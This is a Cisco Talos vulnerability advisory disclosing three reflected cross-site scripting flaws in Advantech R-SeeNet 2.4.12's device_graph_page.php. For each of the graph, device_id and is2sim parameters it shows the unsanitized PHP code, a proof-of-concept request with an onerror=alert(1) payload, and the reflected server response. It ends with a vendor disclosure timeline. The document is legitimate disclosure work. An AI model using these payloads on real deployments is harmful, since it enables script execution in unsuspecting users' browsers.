Talos Vulnerability Report

TALOS-2021-1272

Advantech R-SeeNet device_graph_page.php Multiple Reflected XSS vulnerabilities

JULY 15, 2021

CVE NUMBER

CVE-2021-21801, CVE-2021-21802, CVE-2021-21803

Summary

Multiple cross-site scripting vulnerabilities exist in the device_graph_page.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). If a user visits specially crafted URLs, it can lead to arbitrary JavaScript code execution in the context of the targeted user's browser. An attacker can provide these crafted URLs to trigger the vulnerabilities.

Tested Versions

Advantech R-SeeNet 2.4.12 (20.10.2020)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

9.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

CVE-2021-21801 - graph parameter

This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

The device_graph_page.php script accepts, among others, a `graph` parameter :

```
php/device_graph_page.php
Line 10         if(isset($_GET['graph']) && ($_GET['graph'] != ''))
Line 11         {       // byl zadan kod operace
Line 12                 $graph_type = $_GET['graph'];
Line 13         }
```

which is not sanitized in a context of XSS payload. Further, the value comming from the user is embedded directly into a HTML code :

```
Line 64 <img src="index.php?page=device_status_graph&graph=<?php echo($graph_type)?>&device_id=<?php echo($device_id)?>&is2sim=<?php echo
$is2sim;?>">
```

Request example

```
GET /php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 05 Mar 2021 11:41:10 GMT
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.5
X-Powered-By: PHP/5.3.5
Content-Length: 993
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/plain; charset=utf-8" />
                <meta name="description" content="TODO - info" />
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="cache-control" content="no-cache">
                <title>Device Status</title>
        <link rel='stylesheet' href='css/style.css' type='text/css' />
        <link rel='stylesheet' href='css/wait_indicator.css' type='text/css' />
        <script src="js/wait_indicator.js" type="text/javascript"></script>
        </head>
  <body onload="ind_off()" class="new_window">
        <div class="wait_dialog" id="wait_table" style="visibility: visible">
        </div>
                <table width="825px">
                        <tr>
                                <th>Device Status Graph</th>
                        </tr>
                        <tr align="center">
                                <td>
                  <img src="index.php?page=device_status_graph&graph="zlo onerror=alert(1) "&device_id=&is2sim=0">
                                </td>
                        </tr>
                </table>
        </body>
</html>
```

The victim does not need to be logged-in to be affected by this vulnerability.

CVE-2021-21802 - device_id parameter

This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

The device_graph_page.php script accepts, among others, a `device_id` parameter :

```
php/device_graph_page.php
Line 15         if(isset($_GET['device_id']) && ($_GET['device_id'] != ''))
Line 16         {       // byl zadan kod operace
Line 17                 $device_id = $_GET['device_id'];
Line 18         }
```

which is not sanitized in a context of XSS payload. Further, delivered value comming from the user is embedded directly into a HTML code :

```
Line 64 <img src="index.php?page=device_status_graph&graph=<?php echo($graph_type)?>&device_id=<?php echo($device_id)?>&is2sim=<?php echo
$is2sim;?>">
```

Request example

```
GET /php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 05 Mar 2021 11:41:10 GMT
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.5
X-Powered-By: PHP/5.3.5
Content-Length: 993
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/plain; charset=utf-8" />
                <meta name="description" content="TODO - info" />
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="cache-control" content="no-cache">
                <title>Device Status</title>
        <link rel='stylesheet' href='css/style.css' type='text/css' />
        <link rel='stylesheet' href='css/wait_indicator.css' type='text/css' />
        <script src="js/wait_indicator.js" type="text/javascript"></script>
        </head>
  <body onload="ind_off()" class="new_window">
        <div class="wait_dialog" id="wait_table" style="visibility: visible">
        </div>
                <table width="825px">
                        <tr>
                                <th>Device Status Graph</th>
                        </tr>
                        <tr align="center">
                                <td>
                  <img src="index.php?page=device_status_graph&graph=&device_id="zlo onerror=alert(1) "&is2sim=0">
                                </td>
                        </tr>
                </table>
        </body>
</html>
```

The victim does not need to be logged-in to be affected by this vulnerability.

CVE-2021-21803 - is2sim parameter

This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

The device_graph_page.php script accepts, among others, an `is2sim` parameter :

```
php/device_graph_page.php
Line 20   if(isset($_GET['is2sim']) && ($_GET['is2sim'] != ''))
Line 21   {
Line 22         $is2sim = $_GET['is2sim'];
Line 23   }
```

which is not sanitized in a context of XSS payload. Further, delivered value comming from the user is embedded directly into a HTML code :

```
Line 64 <img src="index.php?page=device_status_graph&graph=<?php echo($graph_type)?>&device_id=<?php echo($device_id)?>&is2sim=<?php echo
$is2sim;?>">
```

Request example

```
GET /php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 05 Mar 2021 11:41:10 GMT
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.5
X-Powered-By: PHP/5.3.5
Content-Length: 993
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/plain; charset=utf-8" />
                <meta name="description" content="TODO - info" />
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="cache-control" content="no-cache">
                <title>Device Status</title>
        <link rel='stylesheet' href='css/style.css' type='text/css' />
        <link rel='stylesheet' href='css/wait_indicator.css' type='text/css' />
        <script src="js/wait_indicator.js" type="text/javascript"></script>
        </head>
  <body onload="ind_off()" class="new_window">
        <div class="wait_dialog" id="wait_table" style="visibility: visible">
        </div>
                <table width="825px">
                        <tr>
                                <th>Device Status Graph</th>
                        </tr>
                        <tr align="center">
                                <td>
                  <img src="index.php?page=device_status_graph&graph=&device_id=&is2sim="zlo onerror=alert(1) "">
                                </td>
                        </tr>
                </table>
        </body>
</html>
```

The victim does not need to be logged-in to be affected by this vulnerability.

Timeline

2021-03-11 - Initial contact with vendor

2021-03-14 - Advisory issued to CISA

2021-04-13 - Follow up with vendor & CISA

2021-06-07 - Follow up with vendor & CISA (no response)

2021-06-22 - Final 90 day notice issued

2021-07-15 - Public Disclosure

CREDIT

Member of Cisco Talos team
